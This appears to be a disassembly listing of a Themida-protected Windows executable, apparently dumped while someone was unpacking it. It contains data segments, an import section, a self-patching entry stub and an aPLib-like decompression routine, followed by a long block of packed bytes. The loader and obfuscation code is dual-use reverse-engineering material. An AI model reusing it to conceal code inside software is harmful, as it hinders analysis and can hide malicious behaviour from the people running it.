dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
dword_4D4C68	dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000F7000 (1011712.)
; Section size in file		: 000F7000 (1011712.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 0FDA6DA5Fh, 47360h, 54143h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00549A0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054CF3E SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054D1B4 SIZE 0000005B BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_549A0D
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_549A0D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 156352Ch, 6552F0AFh,	61741C73h, 7041CE72h, 784F2E2Fh
		dd 0D6F7239Ch, 21DC3343h, 0C201F9D7h, 92F1DF1Fh, 78920817h
		dd 0F9FA70DAh, 0EEBE010Eh, 1FE17122h, 102E24F2h, 8B35BCBAh
		dd 87EA2B84h, 7D0803CAh, 6854407Dh, 691C6D65h, 0DD216164h
		dd 0C2214554h, 36455E1Dh, 0BF7E35C2h, 0E65FA495h, 1BE10398h
		dd 0B82223EFh, 8BF5BB47h, 7011A3D0h, 0DE558503h, 0BF040148h
		dd 0C5728BFCh, 0E860D410h, 0ED815D80h, 0A803353Bh, 69958906h
		dd 0B50D0834h, 858432BDh, 830F225Dh, 1C159964h,	8B0C7403h
		dd 0B8E291E8h, 0DEC26D43h, 24443870h, 1F253EE2h, 0E8456A00h
		dd 6829C0A3h, 783749Ah,	0AA0DFF4h, 893D4B25h, 12D5220Ah
		dd 2B0214E9h, 555E828h,	0C483EC8Bh, 5AEE60D8h, 2920EA81h
		dd 0DA8B0436h, 8DD845C7h, 400E8C08h, 7E810889h,	1D80637Dh
		dd 203F0F74h, 93839208h, 12FF104Ch, 0E1EB3143h,	0BA61DC36h
		dd 0C2C90A26h, 81034604h, 47FF7CC4h, 72224902h,	80458D00h
		dd 0C7085D8Bh, 2519A285h, 0A008D50h, 1888C3D1h,	0B895441h
		dd 6BD5181h, 0E3755D01h, 8D14274Ah, 27664BAh, 0E8A8075h
		dd 5B48F4BBh, 3707ABB8h, 0D0D37854h, 1D080FE6h,	82F7754Bh
		dd 4647C3AFh, 46314A92h, 0D14251F9h, 38A5D61h, 0ECAFF0D0h
		dd 0FC5045EEh, 451EB4Dh, 8046E4ADh, 0F7403E62h,	73849BBAh
		dd 0C7D0C34h, 0F83E7FEBh, 126D6486h, 540E26F0h,	0A4A10F4h
		dd 4F065C1h, 0D1F801D6h, 0CBC203E0h, 0DB332800h, 80301C8Ah
		dd 6172E6FBh, 77390A0Ah, 0F7EBE905h, 143F2293h,	0A0DB361h
		dd 7A08FB66h, 75C3FA1Eh, 1A10610Ah, 860B7241h, 677460Ah
		dd 110F524h, 0ECC3F05Dh, 987D83F4h, 0D9B07202h,	0BB76C00Ch
		dd 26AA32A5h, 3B700EF8h, 3BA8508Dh, 0FFC5505h, 0BD4E7882h
		dd 38AA0DB0h, 8BA87F2h,	7005B907h, 0B8BDFC42h, 0FFE0037h
		dd 750E4947h, 2E22B9FAh, 1BBE36Ah, 82F1E811h, 2BBEDEBh
		dd 0BE868E00h, 5107A939h, 367E6570h, 268AB98Bh,	0C8E927DEh
		dd 0F98599Dh, 0F7AF0Dh,	0F95B6C9Ah, 0AD73879Dh,	21BC1F0Eh
		dd 8FD36724h, 6B5C3250h, 0E9561B01h, 5ED93904h,	6D8AC8C4h
		dd 8205250Ch, 0C01E0845h, 0C4564621h, 0DB002FC3h, 0F031C25Dh
		dd 7BA382B7h, 0B810192Ch, 80F19CDAh, 0BE5BCFEh,	0E68C0ECBh
		dd 367E034h, 5B4E3982h,	30070F76h, 0D1043D51h, 46663BC7h
		dd 9751466h, 0E608C2Eh,	65E4EC48h, 76069028h, 5C58402h
		dd 0A4D1968Eh, 4785393h, 8C29C254h, 0E7DC7166h,	98AADD0Eh
		dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh
		dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h
		dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh,	13845A68h
		dd 0F9305645h, 55EE825Eh, 1A4281DCh, 0D58A279Ah, 231310B9h
		dd 46439729h, 0D714DA61h, 70C94C44h, 8F51623Ah,	0C75CDCC0h
		dd 0BC30DA8Dh, 18815907h, 325705E2h, 4701CBECh,	10CA0B5Ch
		dd 579D1A86h, 349E8CC8h, 15D80288h, 1894C430h, 1538EA79h
		dd 31429BCh, 9F192336h,	584DA1A2h, 0C4726018h, 117D8A23h
		dd 5848001Bh, 0ABE79CC4h, 5B3C07D8h, 90E482A9h,	8A44EE15h
		dd 32FA8618h, 0C012EA64h, 114B7337h, 480F6D63h,	205FCD76h
		dd 0B2A4ED55h, 6CBD31F8h, 1109638h, 791011E9h, 16000D06h
		dd 85171BAFh, 31AA8BEh,	76D37D19h, 0F200546Ah, 5F43C7F3h
		dd 0A28C105Ch, 7085066Dh, 0E02CF2E0h, 6105FCF6h, 0CDDF323Ch
		dd 0C0C1D0B4h, 773A218h, 3ECEB314h, 0F10133CBh,	557F0FAh
		dd 60E9F4FDh, 7F53DC1Dh, 6A5F1058h, 0BA811E75h,	85384012h
		dd 96B9CB0Dh, 0E40CF400h, 0CFEBD382h, 0A15AEE37h, 0DC488DF3h
		dd 0B1560EAh, 95F30A08h, 18DCC800h, 7CF9100Dh, 7846006Eh
		dd 8E6BDD24h, 9062998Bh, 905154B8h, 185A5B70h, 1113EA61h
		dd 0FB006AF9h, 58450A62h, 0E8BADFD8h, 0CED43973h, 0C064E280h
		dd 844FEEB9h, 80627E39h, 0B2BB05F0h, 7031791Ch,	97893882h
		dd 45349070h, 2284D922h, 0DBA0066h, 0EA35D4AEh,	9415C02Ah
		dd 65664E30h, 6A443800h, 4CA71484h, 6F1501BEh, 8E10350Dh
		dd 0B62F8903h, 0A04E093Ch, 468F1B5Ch, 5C66002Bh, 9250940Dh
		dd 6E74F578h, 93E87403h, 0A7DE6DFBh, 0D65583C3h, 1D641D19h
		dd 5D3A208Eh, 0B40CCh, 3742492Bh, 1DA88B1Bh, 0BF344100h
		dd 5A229FB3h, 0BB210384h, 0B69A88ABh, 0BCD6C0EFh, 6D1D40AEh
		dd 4B80D119h, 4D2B31B9h, 537B063Ch, 208314EEh, 57087201h
		dd 0DE1CC712h, 6C337020h, 0D44879A4h, 0F0CC9141h, 726F01BCh
		dd 8FE5379h, 731880AFh,	3F6A37DBh, 339006h, 6F9C7F9Dh
		dd 7E57A5AEh, 2358C361h, 0D9807BF9h, 79D6036Dh,	0EA0532A1h
		dd 6AF3A08Fh, 213B8046h, 0DDDA0084h, 7E3344D2h,	8A03FBF6h
		dd 0C2577FC5h, 17A901CCh, 1A6470B5h, 83598589h,	0A4216D57h
		dd 91167544h, 5283BA0Ch, 0A332168h, 4C5F39B9h, 0AB803D88h
		dd 5355D5AEh, 63E0D4CCh, 8AFA29C0h, 9C68CFh, 0DA4AFE5Ch
		dd 0E31F473Eh, 55ABDD00h, 279E8BA3h, 1D62303Ah,	3309B998h
		dd 7B056779h, 2D542A8h,	5B838C42h, 1740806Bh, 0DC72530Ah
